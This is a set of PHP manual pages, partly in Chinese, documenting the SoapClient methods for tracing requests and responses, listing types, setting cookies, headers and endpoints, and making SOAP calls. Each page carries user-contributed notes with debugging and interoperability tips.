  string(79) "ProductInfo TextStreamSearchRequest(TextStreamRequest $TextStreamSearchRequest)"
  [2]=>
  string(64) "ProductInfo PowerSearchRequest(PowerRequest $PowerSearchRequest)"
...
  [23]=>
  string(107) "ShoppingCart RemoveShoppingCartItemsRequest(RemoveShoppingCartItemsRequest $RemoveShoppingCartItemsRequest)"
  [24]=>
  string(107) "ShoppingCart ModifyShoppingCartItemsRequest(ModifyShoppingCartItemsRequest $ModifyShoppingCartItemsRequest)"
  [25]=>
  string(118) "GetTransactionDetailsResponse GetTransactionDetailsRequest(GetTransactionDetailsRequest $GetTransactionDetailsRequest)"
}

参见

  • SoapClient::SoapClient() - SoapClient constructor

User Contributed Notes

jvanoort at simplexis dot nl 05-Jan-2016 03:32
_getFunctions can return null, not only array. This happens if the WSDL has not been parsed yet. This may be helpful to someone debugging, just like I was a few minutes ago when writing an extension to SoapClient.
Beebs 13-Nov-2013 02:26
The following code works for me while it appears soap.amazon.com has been deprecated and taken out of service. http://webservices.amazon.com has replaced Amazon's SOAP.

<?php
$client = new SoapClient('http://webservices.amazon.com/AWSECommerceService/AWSECommerceService.wsdl');
var_dump($client->__getFunctions());
?>
hasegeli at arebt dot com 02-Jun-2009 12:19
This function did not work if schema is not in wsdl file.


Returns last SOAP request

  • ? SoapClient::__getFunctions
  • SoapClient::__getLastRequestHeaders ?
  • PHP Manual
  • SoapClient
  • Returns last SOAP request

SoapClient::__getLastRequest

(PHP 5, PHP 7)

SoapClient::__getLastRequest — Returns last SOAP request

说明

public SoapClient::__getLastRequest ( void ) : string

Returns the XML sent in the last SOAP request.

Note:

This method works only if the SoapClient object was created with the trace option set to TRUE.

参数

此函数没有参数。

返回值

The last SOAP request, as an XML string.

范例

Example #1 SoapClient::__getLastRequest() example

<?php
$client = new SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "REQUEST:\n" . $client->__getLastRequest() . "\n";
?>

参见

  • SoapClient::__getLastRequestHeaders() - Returns the SOAP headers from the last request
  • SoapClient::__getLastResponse() - Returns last SOAP response
  • SoapClient::__getLastResponseHeaders() - Returns the SOAP headers from the last response

User Contributed Notes

hejdavladislav at gmail dot com 15-Sep-2016 10:20
Note that when you create SoapClient with option "trace" set to FALSE or omit it, than "__getLastRequest()" always returns NULL.
LZhang 11-Jul-2014 08:22
Creating an xml file and link to the file is my way.

$outputxml = '/output.xml';

file_put_contents($_SERVER['DOCUMENT_ROOT'] . $outputxml, $client->__getLastRequest());

echo '<a href="' . $outputxml . '">here</a>';
mayurvirkar at gmail dot com 09-Sep-2013 08:37
Just to make it a bit more readable

echo "REQUEST:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastRequest())) . "\n";
echo "Response:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastResponse())) . "\n";

PS: If you are using \n then you need to enclose above statements in <pre>. You can also use <br />, but it gets a bit messy.
Anonymous 26-Jan-2010 01:32
Adding htmlentities() can be helpful since it makes the XML visible in your browser without needing to view the source.

<?php

echo "REQUEST:\n" . htmlentities($client->__getLastRequest()) . "\n";

?>
Ersin DOGAN 12-Apr-2009 10:40
I guess many peoples calls getLastRequest and it returns nothing. "Heey where is the my last request". Now we will see our request,  when you created a SoapClient instance, you should give a option parameter as below :

<?php
// below $option=array('trace',1);
// correct one is below
$option=array('trace'=>1);

$client=new SoapClient('some.wsdl',$option);

try{
  $client->aMethodAtRemote();
}catch(SoapFault $fault){
  // <xmp> tag displays xml output in html
  echo 'Request : <br/><xmp>',
  $client->__getLastRequest(),
  '</xmp><br/><br/> Error Message : <br/>',
  $fault->getMessage();
}
?>

"trace" parameter enables output of request. Now, you should see SOAP request.
Omar Nabil 12-Nov-2008 06:14
the getLastResult function doesn't require that the server answers.
as my browser handled and hided the xml code I thought the function doesn't return the last request


Returns the SOAP headers from the last request

  • ? SoapClient::__getLastRequest
  • SoapClient::__getLastResponse ?
  • PHP Manual
  • SoapClient
  • Returns the SOAP headers from the last request

SoapClient::__getLastRequestHeaders

(PHP 5, PHP 7)

SoapClient::__getLastRequestHeaders — Returns the SOAP headers from the last request

说明

public SoapClient::__getLastRequestHeaders ( void ) : string

Returns the SOAP headers from the last request.

Note:

This function only works if the SoapClient object was created with the trace option set to TRUE.

参数

此函数没有参数。

返回值

The last SOAP request headers.

范例

Example #1 SoapClient::__getLastRequestHeaders() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "REQUEST HEADERS:\n" . $client->__getLastRequestHeaders() . "\n";
?>

参见

  • SoapClient::__getLastResponseHeaders() - Returns the SOAP headers from the last response
  • SoapClient::__getLastRequest() - Returns last SOAP request
  • SoapClient::__getLastResponse() - Returns last SOAP response

User Contributed Notes

mischa molhoek 02-Jun-2015 08:48
it seems to me that is does not return the SOAP headers as it states in the explanation, but the request headers....


Returns last SOAP response

  • ? SoapClient::__getLastRequestHeaders
  • SoapClient::__getLastResponseHeaders ?
  • PHP Manual
  • SoapClient
  • Returns last SOAP response

SoapClient::__getLastResponse

(PHP 5, PHP 7)

SoapClient::__getLastResponse — Returns last SOAP response

说明

public SoapClient::__getLastResponse ( void ) : string

Returns the XML received in the last SOAP response.

Note:

This method works only if the SoapClient object was created with the trace option set to TRUE.

参数

此函数没有参数。

返回值

The last SOAP response, as an XML string.

范例

Example #1 SoapClient::__getLastResponse() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "Response:\n" . $client->__getLastResponse() . "\n";
?>

参见

  • SoapClient::__getLastResponseHeaders() - Returns the SOAP headers from the last response
  • SoapClient::__getLastRequest() - Returns last SOAP request
  • SoapClient::__getLastRequestHeaders() - Returns the SOAP headers from the last request

User Contributed Notes

mayurvirkar at gmail dot com 09-Sep-2013 08:38
Just to make it a bit more readable

echo "REQUEST:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastRequest())) . "\n";
echo "RESPONSE:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastResponse())) . "\n";

PS: If you are using \n then you need to enclose above statements in <pre>. You can also use <br />, but it gets a bit messy.
bshafs at gmail dot com 22-Jun-2011 12:45
You don't need to surround SoapClient in a try-catch block.  Just set the "exceptions" option to false, and the SoapFault instance will be returned instead of thrown.
ceo at l-i-e dot com 04-Jan-2006 01:31
D'oh!
That example needs:
$soapClient = new SoapClient($url, array('trace'=>1));
to turn ON tracing in the first place.
ceo at l-i-e dot com 04-Jan-2006 01:30
You almost for sure will need to wrap a try/catch block around your SOAP call in order to use these to debug something that's not working.

Otherwise, PHP throws a fatal error before you can execute this function.

For example:
<?php
    $soapClient = new SoapClient($url);
    echo htmlentities($soapClient->__getFunctions());
    //Assume that has output 'someFunction' (among others)
    try {
        $results = $soapClient->someFunction(...);
    }
    catch (SoapFault $soapFault) {
        var_dump($soapFault);
        echo "Request :<br>", htmlentities($soapClient->__getLastRequest()), "<br>";
        echo "Response :<br>", htmlentities($soapClient->__getLastResponse()), "<br>";
    }
?>

Without try/catch, your just get the Fatal Error and PHP commits suicide before you can call __getLastRequest/__getLastResponse


Returns the SOAP headers from the last response

  • ? SoapClient::__getLastResponse
  • SoapClient::__getTypes ?
  • PHP Manual
  • SoapClient
  • Returns the SOAP headers from the last response

SoapClient::__getLastResponseHeaders

(PHP 5, PHP 7)

SoapClient::__getLastResponseHeaders — Returns the SOAP headers from the last response

说明

public SoapClient::__getLastResponseHeaders ( void ) : string

Returns the SOAP headers from the last response.

Note:

This function only works if the SoapClient object was created with the trace option set to TRUE.

参数

此函数没有参数。

返回值

The last SOAP response headers.

范例

Example #1 SoapClient::__getLastResponse() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "RESPONSE HEADERS:\n" . $client->__getLastResponseHeaders() . "\n";
?>

参见

  • SoapClient::__getLastRequestHeaders() - Returns the SOAP headers from the last request
  • SoapClient::__getLastRequest() - Returns last SOAP request
  • SoapClient::__getLastResponse() - Returns last SOAP response

User Contributed Notes

noncey 30-Sep-2015 12:33
For long running scripts which may be set to a longer timeout in the PHP script, be aware that the IIS connection timeout settings do not restart when you initiate a SOAP call even though you are using a new web address than your current running script.

Because of this, we noted a SOAP call that seemed to not return headers from a Web Service. It was found to be related to IIS timing out. This was in IIS 7.5. The resolution was to increase the connection timeout for IIS at the website/domain level.

There were no faults or exceptions captured when this occurred so your only indicator is that you have no header information.
jeroen{at}asystance{dot}nl 17-Aug-2009 03:20
Note SoapClient does not wait for a response for one-way operations (i.e. <wsdl:operation>s that do not have a <wsdl:response>)! To see if a request failed, use
$sc = new SoapClient( 'some.wsdl', array('features'=>SOAP_WAIT_ONE_WAY_CALLS));

See http://bugs.php.net/bug.php?id=36083 and http://bugs.php.net/bug.php?id=49278


Returns a list of SOAP types

  • ? SoapClient::__getLastResponseHeaders
  • SoapClient::__setCookie ?
  • PHP Manual
  • SoapClient
  • Returns a list of SOAP types

SoapClient::__getTypes

(PHP 5, PHP 7)

SoapClient::__getTypes — Returns a list of SOAP types

说明

public SoapClient::__getTypes ( void ) : array

Returns an array of types described in the WSDL for the Web service.

Note:

此函数仅在 WSDL 模式下生效。

参数

此函数没有参数。

返回值

The array of SOAP types, detailing all structures and types.

范例

Example #1 SoapClient::__getTypes() example

<?php
$client = new SoapClient('http://soap.amazon.com/schemas3/AmazonWebServices.wsdl');
var_dump($client->__getTypes());
?>

以上例程会输出：

array(88) {
  [0]=>
  string(30) "ProductLine ProductLineArray[]"
  [1]=>
  string(85) "struct ProductLine {
 string Mode;
 string RelevanceRank;
 ProductInfo ProductInfo;
}"
  [2]=>
  string(105) "struct ProductInfo {
 string TotalResults;
 string TotalPages;
 string ListName;
 DetailsArray Details;
}"
...
  [85]=>
  string(32) "ShortSummary ShortSummaryArray[]"
  [86]=>
  string(121) "struct GetTransactionDetailsRequest {
 string tag;
 string devtag;
 string key;
 OrderIdArray OrderIds;
 string locale;
}"
  [87]=>
  string(75) "struct GetTransactionDetailsResponse {
 ShortSummaryArray ShortSummaries;
}"
}

参见

  • SoapClient::SoapClient() - SoapClient constructor

User Contributed Notes

felipe dot cwb at hotmail dot com 21-Jul-2014 06:50
<?php
// to see formated types

$soap = new SoapClient('http://domain.com/ws.php?WSDL');

echo '<pre>';
echo '<h2>Types:</h2>';
$types = $soap->__getTypes();
foreach ($types as $type) {
    $type = preg_replace(
        array('/(\w+) ([a-zA-Z0-9]+)/', '/\n /'),
        array('<font color="green">${1}</font> <font color="blue">${2}</font>', "\n\t"),
        $type
    );
    echo $type;
    echo "\n\n";
}
echo '</pre>';


The __setCookie purpose

  • ? SoapClient::__getTypes
  • SoapClient::__setLocation ?
  • PHP Manual
  • SoapClient
  • The __setCookie purpose

SoapClient::__setCookie

(PHP 5 >= 5.0.4, PHP 7)

SoapClient::__setCookie — The __setCookie purpose

说明

public SoapClient::__setCookie ( string $name [, string $value ] ) : void

Defines a cookie to be sent along with the SOAP requests.

Note:

Calling this method will affect all following calls to SoapClient methods.

参数

name

The name of the cookie.

value

The value of the cookie. If not specified, the cookie will be deleted.

返回值

没有返回值。

User Contributed Notes

Jaygiri Goswami 17-Dec-2011 01:22
You can access the cookies sent by SOAP server using $client->_cookies

Most you need to send session cookies back to server.
lukasz at szostak dot biz 14-Aug-2006 10:53
On the server side you can access the cookie via $_COOKIE['cookie_name'].

Also remember that since HTTP is a stateless protocol, you have to send the cookie with every single SOAP call in order for it to be visible at server site.

It seems obvious but might save one a lot of time.


Sets the location of the Web service to use

  • ? SoapClient::__setCookie
  • SoapClient::__setSoapHeaders ?
  • PHP Manual
  • SoapClient
  • Sets the location of the Web service to use

SoapClient::__setLocation

(PHP 5 >= 5.0.4, PHP 7)

SoapClient::__setLocation — Sets the location of the Web service to use

说明

public SoapClient::__setLocation ([ string $new_location ] ) : string

Sets the endpoint URL that will be touched by following SOAP requests. This is equivalent to specifying the location option when constructing the SoapClient.

Note:

Calling this method is optional. The SoapClient uses the endpoint from the WSDL file by default.

参数

new_location

The new endpoint URL.

返回值

The old endpoint URL.

范例

Example #1 SoapClient::__setLocation() example

<?php
$client = new SoapClient('http://example.com/webservice.php?wsdl');

$client->__setLocation('http://www.somethirdparty.com');

$old_location = $client->__setLocation(); // unsets the location option

echo $old_location;

?>

以上例程的输出类似于：

http://www.somethirdparty.com

参见

  • SoapClient::SoapClient() - SoapClient constructor

User Contributed Notes

maoneid at gmail dot com 24-May-2018 07:24
for some cases , ignoring location from initialization throw exception

PHP Fatal error:  Uncaught SoapFault exception: [HTTP] Could not connect to host

Better call and define the end point location manually.


Sets SOAP headers for subsequent calls

  • ? SoapClient::__setLocation
  • SoapClient::__soapCall ?
  • PHP Manual
  • SoapClient
  • Sets SOAP headers for subsequent calls

SoapClient::__setSoapHeaders

(PHP 5 >= 5.0.5, PHP 7)

SoapClient::__setSoapHeaders — Sets SOAP headers for subsequent calls

说明

public SoapClient::__setSoapHeaders ([ mixed $soapheaders ] ) : bool

Defines headers to be sent along with the SOAP requests.

Note:

Calling this method will replace any previous values.

参数

soapheaders

The headers to be set. It could be SoapHeader object or array of SoapHeader objects. If not specified or set to NULL, the headers will be deleted.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 SoapClient::__setSoapHeaders() example

<?php

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$header = new SoapHeader('http://soapinterop.org/echoheader/',
                            'echoMeStringRequest',
                            'hello world');

$client->__setSoapHeaders($header);

$client->__soapCall("echoVoid", null);
?>

Example #2 Set Multiple Headers

<?php

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$headers = array();

$headers[] = new SoapHeader('http://soapinterop.org/echoheader/',
                            'echoMeStringRequest',
                            'hello world');

$headers[] = new SoapHeader('http://soapinterop.org/echoheader/',
                            'echoMeStringRequest',
                            'hello world again');

$client->__setSoapHeaders($headers);

$client->__soapCall("echoVoid", null);
?>

User Contributed Notes

mlconnor at yahoo dot com 11-Nov-2010 01:28
Does anyone know how to get the response headers?  The getLastResponseHeader returns a string response, not the complex object I was expecting...
peamik1953 at NOSPAM dot btinternet dot com 12-Jul-2010 11:06
You cannot add an additional header. If you want two headers, and one already exists, first delete it with $client->__setSoapHeaders(NULL). Then issue $client->__setSoapHeaders($headers) where $headers is an array of soapHeader() objects.
kedar dot purohit @ mavs dot uta dot edu 10-Sep-2009 12:58
To create complex SOAP Headers, you can do something like this:

Required SOAP Header:

<soap:Header>
    <RequestorCredentials xmlns="http://namespace.example.com/">
      <Token>string</Token>
      <Version>string</Version>
      <MerchantID>string</MerchantID>
      <UserCredentials>
        <UserID>string</UserID>
        <Password>string</Password>
      </UserCredentials>
    </RequestorCredentials>
</soap:Header>

Corresponding PHP code:

<?php

$ns = 'http://namespace.example.com/'; //Namespace of the WS.

//Body of the Soap Header.
$headerbody = array('Token' => $someToken,
                    'Version' => $someVersion,
                    'MerchantID'=>$someMerchantId,
                      'UserCredentials'=>array('UserID'=>$UserID,
                                             'Password'=>$Pwd));

//Create Soap Header.
$header = new SOAPHeader($ns, 'RequestorCredentials', $headerbody);

//set the Headers of Soap Client.
$soap_client->__setSoapHeaders($header);

?>
jayrajput at gmail dot com 30-Mar-2009 01:07
With multiple SOAP headers, when using SoapVar for creation of SoapHeader the PHP code just terminates (command terminated). I am not sure if that is a bug.

Without the SOAPVar the code worked fine for me

There are different way to creart SoapHeader I was using SoapVar and the code was not working. I am still a novice with this SOAP stuff.

Tried using normal strings and it worked fine. SoapHeader can take SoapVar or string as the third argument.

my code:

<?php
// first soap header.
$var = new SoapVar($header, XSD_ANYXML);
$soapHeader = new SoapHeader(NAME_SPACE, "Security", $var);
// second soap header.
$var2 = new SoapVar($header2, XSD_ANYXML);
$soapHeader2 = new SoapHeader(DIFF_NAME_SPACE, "ID", $var2);

$client = new SoapClient($wsdl, array("location" => $location));

$headers = array();
$headers[] = $soapHeader;
$headers[] = $soapHeader2;

// Here my code was just terminating.
$client->__setSoapHeaders($headers);
?>


Calls a SOAP function

  • ? SoapClient::__setSoapHeaders
  • SoapClient::SoapClient ?
  • PHP Manual
  • SoapClient
  • Calls a SOAP function

SoapClient::__soapCall

(PHP 5, PHP 7)

SoapClient::__soapCall — Calls a SOAP function

说明

public SoapClient::__soapCall ( string $function_name , array $arguments [, array $options [, mixed $input_headers [, array &$output_headers ]]] ) : mixed

This is a low level API function that is used to make a SOAP call. Usually, in WSDL mode, SOAP functions can be called as methods of the SoapClient object. This method is useful in non-WSDL mode when soapaction is unknown, uri differs from the default or when sending and/or receiving SOAP Headers.

On error, a call to a SOAP function can cause PHP to throw exceptions or return a SoapFault object if exceptions are disabled. To check if the function call failed to catch the SoapFault exceptions, check the result with is_soap_fault().

参数

function_name

The name of the SOAP function to call.

arguments

An array of the arguments to pass to the function. This can be either an ordered or an associative array. Note that most SOAP servers require parameter names to be provided, in which case this must be an associative array.

options

An associative array of options to pass to the client.

The location option is the URL of the remote Web service.

The uri option is the target namespace of the SOAP service.

The soapaction option is the action to call.

input_headers

An array of headers to be sent along with the SOAP request.

output_headers

If supplied, this array will be filled with the headers from the SOAP response.

返回值

SOAP functions may return one, or multiple values. If only one value is returned by the SOAP function, the return value of __soapCall will be a simple value (e.g. an integer, a string, etc). If multiple values are returned, __soapCall will return an associative array of named output parameters.

On error, if the SoapClient object was constructed with the exceptions option set to FALSE, a SoapFault object will be returned.

范例

Example #1 SoapClient::__soapCall() example

<?php

$client = new SoapClient("some.wsdl");
$client->SomeFunction($a, $b, $c);

$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c), NULL,
                    new SoapHeader(), $output_headers);

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$client->SomeFunction($a, $b, $c);
$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c),
                    array('soapaction' => 'some_action',
                          'uri'        => 'some_uri'));
?>

参见

  • SoapClient::SoapClient() - SoapClient constructor
  • SoapParam::SoapParam() - SoapParam constructor
  • SoapVar::SoapVar() - SoapVar constructor
  • SoapHeader::SoapHeader() - SoapHeader constructor
  • SoapFault::SoapFault() - SoapFault constructor
  • is_soap_fault() - Checks if a SOAP call has failed

User Contributed Notes

arturklesun at gmail dot com 10-Aug-2016 06:16
Sharing my experience cuz i believe it is most important for you if you decide to use this Soap Client implementation.

At php 7.0.8 the stdClass generated by SoapClient from the response does not use "minOccurs" and "maxOccurs" WSDL modifiers to distinct properties in stdClass-es (aka keys in "associative arrays") and elements in arrays ("aka indexed arrays").

Instead, the implementation decides whether tag is _a key in associative array_ or _one of elements with same tag in indexed array_ by simply the fact whether there is just one element with such tag in the sequence or many.

Consider alive example from my case:
<?php
response xml:
...
<ValidatingCarrier>
    <Alternate>AA</Alternate>
</ValidatingCarrier>
...
<ValidatingCarrier>
    <Alternate>AA</Alternate>
    <Alternate>AY</Alternate>
</ValidatingCarrier>
...

response structure generated by SoapClient:
...
[ValidatingCarrier] => stdClass Object(
    [Alternate] => AA // here it is a string
)
...
[ValidatingCarrier] => stdClass Object (
    [Alternate] => Array ( // and here this is an array
        [0] => AA
        [1] => AY
    )
)
...

field XSD definition:
<xs:element name="Alternate" type="CarrierCode" minOccurs="0" maxOccurs="24">
?>

You see, the definition in XSD tells us this tag can be repeated up to 24 times, what means it would be an indexed array, but SoapClient does not take that into account and treats the first <Alternate> in example as a value instead of array containing this value.

Undoubtedly, a value should be a property in the stdClass (a key in associative array) _only_ when maxOccurs is 1 or less or not specified (default is 1, see https://www.w3.org/TR/xmlschema-0/#OccurrenceConstraints). Hope this info will be useful for you when you will be implementing your own, correctly working, SoapClient.
ub at sturmundbraem dot ch 11-Jun-2016 12:51
To avoid the SOAP client returning sometimes objects and sometimes arrays of objects, there's a setting:

   $this->soapClient = new \SoapClient($wsdlUrl, array(
    'features' => SOAP_SINGLE_ELEMENT_ARRAYS,
    'trace' => DEBUG_SOAP
   ));
pmeth at softersoftware dot com 12-May-2014 04:44
Note, when trying to overload the __soapCall function, you should not use type hints or STRICT_STANDARDS will complain.
The correct signature is as follows:

<?php
class MySoapClient extends \SoapClient
{
    ...
    public function __soapCall($function_name, $arguments, $options = null, $input_headers = null, &$output_headers = null)
     {
        ...
    }
    ....
}
?>
vb 17-Oct-2012 04:23
Note that calling __soapCall and calling the generated method from WSDL requires specifying parameters in two different ways.

For example, if you have a web service with method login that takes username and password, you can call it the following way:
<?php
$params = array('username'=>'name', 'password'=>'secret');
$client->login($params);
?>

If you want to call __soapCall, you must wrap the arguments in another array as follows:
<?php
$client->__soapCall('login', array($params));
?>
snuufix+nospam at gmail dot com 11-Feb-2011 03:23
I am using SOAP call response headers to sign request results.

After alot of hours, I finally got the best way to get SOAP response headers (other than parsing __getLastResponse() witch requires trace option enabled) is using __soapCall() wrapper.

You can extend SoapClient class and wrap some functions to make sure you get the headers.

<?php

class API extends SoapClient
{

    // ... Constructor, etc.

    // Get SOAP Server response headers
    public function __soapCall($function, $arguments, $options = array(), $input_headers = null, &$output_headers = null)
    {
        parent::__soapCall($function, $arguments, $options, $input_headers, $output_headers);

        print_r($output_headers); // Array of response headers
    }

    // If you are using WSDL you need this, so you still can call functions directly without calling __soapCall manualy
    public function __call($func, $args)
    {
        return $this->__soapCall($func, $args);
    }

?>
niko dot hujanen at gmail dot com 09-Nov-2010 11:06
I was integrating a local warehouse system with a SOAP to our system and noticed some things.

1) Service uses "dot-namespacing" (fe. Item.Price) I classmapped this to Item_Price and used magical __get() and __set() to strip off 'Item.' from variable names. Works like a charm.

Example:
<Item.Price>1.52</Item.Price>

<?php
class Item_Price {
    public $price;
    public function __get($field) { $field = str_replace('Item.', '', $field); return $this->$field; }
    public function __set($field, $value) { $field = str_replace('Item.', '', $field); $this->$field = $value; }
?>

2) I noticed that classmapping a segment with attributes and value is possible. Class uses variables as attributes and $_ is the value.

Example:
<?php
class Foo {
    public $item = 'Bar';
    public $_ = 'Value here';
}
?>
Turns to <Foo item="Bar">Value here</Foo>

Example of using classes with soapcalls:
<?php
    $client = ExtendSoapClient::getInstance();
    $foo = new Foo();
    $response = $client->sendFoo($foo);
?>

Posted these since I think the documentation is lacking and very obsolete. Hopefully someone's burden eases.
james dot ellis at gmail dot com 09-Jun-2010 07:12
If you are using this method, remember that the array of arguments need to be passed in with the ordering being the same order that the SOAP endpoint expects.

e.g
<?php
//server expects: Foo(string name, int age)

//won't work
$args = array(32, 'john');
$out = $client->__soapCall('Foo', $args);

//will work
$args = array('john', 32);
$out = $client->__soapCall('Foo', $args);
?>
lesley at casbah dot com dot au 21-Apr-2009 06:55
If you are calling a weblogic service with a certificate and you are getting this error on the soap method call statement:

[EJB:010160]Security Violation: User: '<anonymous>' has insufficient permission to access EJB: type=<ejb>, application=app2_0_52_3, module=appsejb.jar, ejb=AppMethod, method=AppMethod, methodInterface=Remote, signature={java.lang.String}.

then check the wsdl in the soap open call - it must be https.  Supplied with an http wsdl this took some time to figure out.

<?php
    $client = new SoapClient("https://example.com/AppWs/Service?WSDL",
                array('trace'=>true,
                      'exceptions'=>true,
                      'local_cert' => "/var/www/html/app/newcert.pem",
                      'passphrase' => "thepassphrase"));
    $response = $client->__soapCall("MyMethod", array("param1" => $value1));
?>

Thanks to the authors for their comments on enabling openssl and curl by uncommenting extension=php_opensll.dll and extension=php_curl.dll in php.ini.  Also for Olaf's instructions "append the content of the private key file and the certificate file to a single file". I did this using copy command on the DOS prompt:

copy mycert.pem+mykey.pem newcert.pem
Tim Williams 08-Apr-2009 06:55
One little gotcha when passing the parameters where you need to have attributes and a simpletype value:

To get the xml

<foo bar="moo">cheese</foo>

You'd pass in:

<?php
array("foo" => array("_" => "cheese", "bar"=>"moo"));
?>

See that "_" bit? It really wasn't obvious from the documentation.
deWarlock 02-Apr-2009 04:10
The most annoying thing is that you'll get no warning trying to pass object not matching wsdl e.g. if server expects smth like $Object->expName->... and you would pass $Object->otherName the client will send empty request without notifying you.
Also pay attention that names are key sensitive.

In my case I spent hours trying to pass $Post->Lead->... object instead of $Post->lead-> ...
Shto 03-Mar-2009 03:17
One thing to note.

This happened to me and it took a while until I discovered what the problem was.

I was trying to get .NET objects from a provided web service, however it always seemed to return empty objects. It did return the backbone, but nothing within the objects that made up the structure.

Anyhow, it seems that you have to be very precise with the arrays when calling these functions. Par example, do this:

<?php
$obj = $client->__soapCall($SOAPCall, array('parameters'=>$SoapCallParameters));
?>

meaning that you must put an array as the second argument with 'parameters' as the key and the soap call parameters as the value.

Also make sure that the parameter variable, in my case $SoapCallParameters is in the form of what is requested by the webservice.

So, don't just make an array of the form:
<?php

(
   [0] => 'Mary',
   [1] => 1983
)

?>

but if the webservice requests a 'muid' variable as 'Mary' and a 'birthyear' as 1983, then make your array like this:

<?php

(
   [muid] => 'Mary',
   [birthyear] => 1983
)

?>

The above arrays refer to the $SoapCallParameters variable.

Hope this helps somebody, not having to spend too much time figuring out the problems.
Alejandro Cavallo 19-Mar-2008 07:38
I get the same problem reported above by ryan:
"ryan at grunt dot tv
22-Sep-2005 01:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason."

When defined variable soapVar I assigned the type XSD_STRING rather than as XSD_ANYXML.
And when calls to the function you must pass the soapVar in an associative array.

For example if the function (called myFunc) expect a parameter called xmlInput you should do something like this:
$soapvar = new SoapVar($query, XSD_STRING);
$result = $client->myFunc(array('xmlInput'=>$soapvar));

This XML fragment are wrapped around xmlImput tags.-
stefan at datax dot biz 24-Oct-2007 07:28
The call to __soapCall returned an object to me either. This is the function which makes my life easier:

function obj2array($obj) {
  $out = array();
  foreach ($obj as $key => $val) {
    switch(true) {
        case is_object($val):
         $out[$key] = obj2array($val);
         break;
      case is_array($val):
         $out[$key] = obj2array($val);
         break;
      default:
        $out[$key] = $val;
    }
  }
  return $out;
}

Usage:
...
$response = $client ->__soapCall("track", array('parameters' => $request));
$response = obj2array($response);

Hope it helps.
temp at mailinator dot com 30-Jan-2007 04:43
The options in the third argument is documented in http://php.net/manual/en/function.soap-soapclient-construct.php
paulsjv at gmail dot com 11-Jan-2006 07:44
I was working with SOAP for the first time and I had to create a client that sent a date range to a WSDL (Web Services Description Language) to return some information I needed.  I didn't know how to pass the params and there really was no documentation about it.  The main thing you have to make sure to do is when you pass params to a method that is definied by the WSDL that you are calling is that you use the same param name for the key of the array or the object variable as shown below.  Also, if you don't know what the methods/functions that a WSDL has or the params that you need to pass it you can use the __getFunctions() and __getTypes() methods after you declare your new SoapClient.

<?php
// From and to are the two params that the execute function needs
// when called from the WSDL so make you to have them as the
// key to an array like below
$params["From"] = "06/01/2005"; // also can use $params->From = "date";
$params["to"] = "12/31/2005"; // also can use $params->to = "date";

$client = new SoapClient("some.wsdl");

try {
        print($client->execute($params));
} catch (SoapFault $exception) {
        echo $exception;
}
?>
ryan at grunt dot tv 21-Sep-2005 09:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason.

Therefore, to get this to work you must either register the XSD_ANYXML #define as a PHP constant, or use the integer value of the constant when creating the SoapVar, which is 147.

$soapvar = new SoapVar($xml_text, 147);

$params = array("ItemXml" => $soapvar, "PropertyView" => "blah");
$result = $this->soapclient->__soapCall("SaveItem", array("parameters"=>$params), null, $this->soapheaders);

However, this still doesnt give the correct result. For some reason, the ItemXml parameter node is not wrapped around the associated xml parameter in the soap request, and the following soap is produced (assumming '<item>blah</item>' is used as the $xml_text):

<SOAP-ENV:Envelope xmlns:SOAP-ENV="..." xmlns:ns1="...">
<SOAP-ENV:Header>...</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:SaveItem>
<item>blah</item>
<ns1:PropertyView>blah</ns1:PropertyView>
</ns1:SaveItem>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
DesmondJ 04-May-2005 03:36
Following OrionI's example:

<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "-1"
?>

Please note that the lines:

"$client->Sum($params);"

and

"$simpleresult = $objectresult->SumResult;"

are based off of each other. If your web service function is called "Sum", then add "Result" to the end of it to get the results of the call.

EG:

<?php
 $client = new SoapClient("http://server/mathservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Minus($params); // note the name of the function is "Minus"
 $simpleresult = $objectresult->MinusResult; // note the name of the result is referenced as "MinusResult"
 print($simpleresult); //produces "5"
?>
OrionI 18-Apr-2005 07:27
Correction on the previously submitted code snippet...the incoming parameter for .NET also has to be in object or array form for it to be correctly converted to the XML form that .NET expects (as already mentioned by Llu?s P?mies). The full example (when using WSDL) should be like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $params->param1 = $value1;
 $params->param2 = $value2;
 $objectresult = $client->MyMethod($params);
 $simpleresult = $objectresult->MyMethodResult;
?>
So if you have a C# function like this:
//sumservice.asmx
...
[WebMethod]
public int Sum(int a, int b)
{
  return a + b;
}
...
The PHP client would be this:
<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "5"
?>
OrionI 15-Apr-2005 11:46
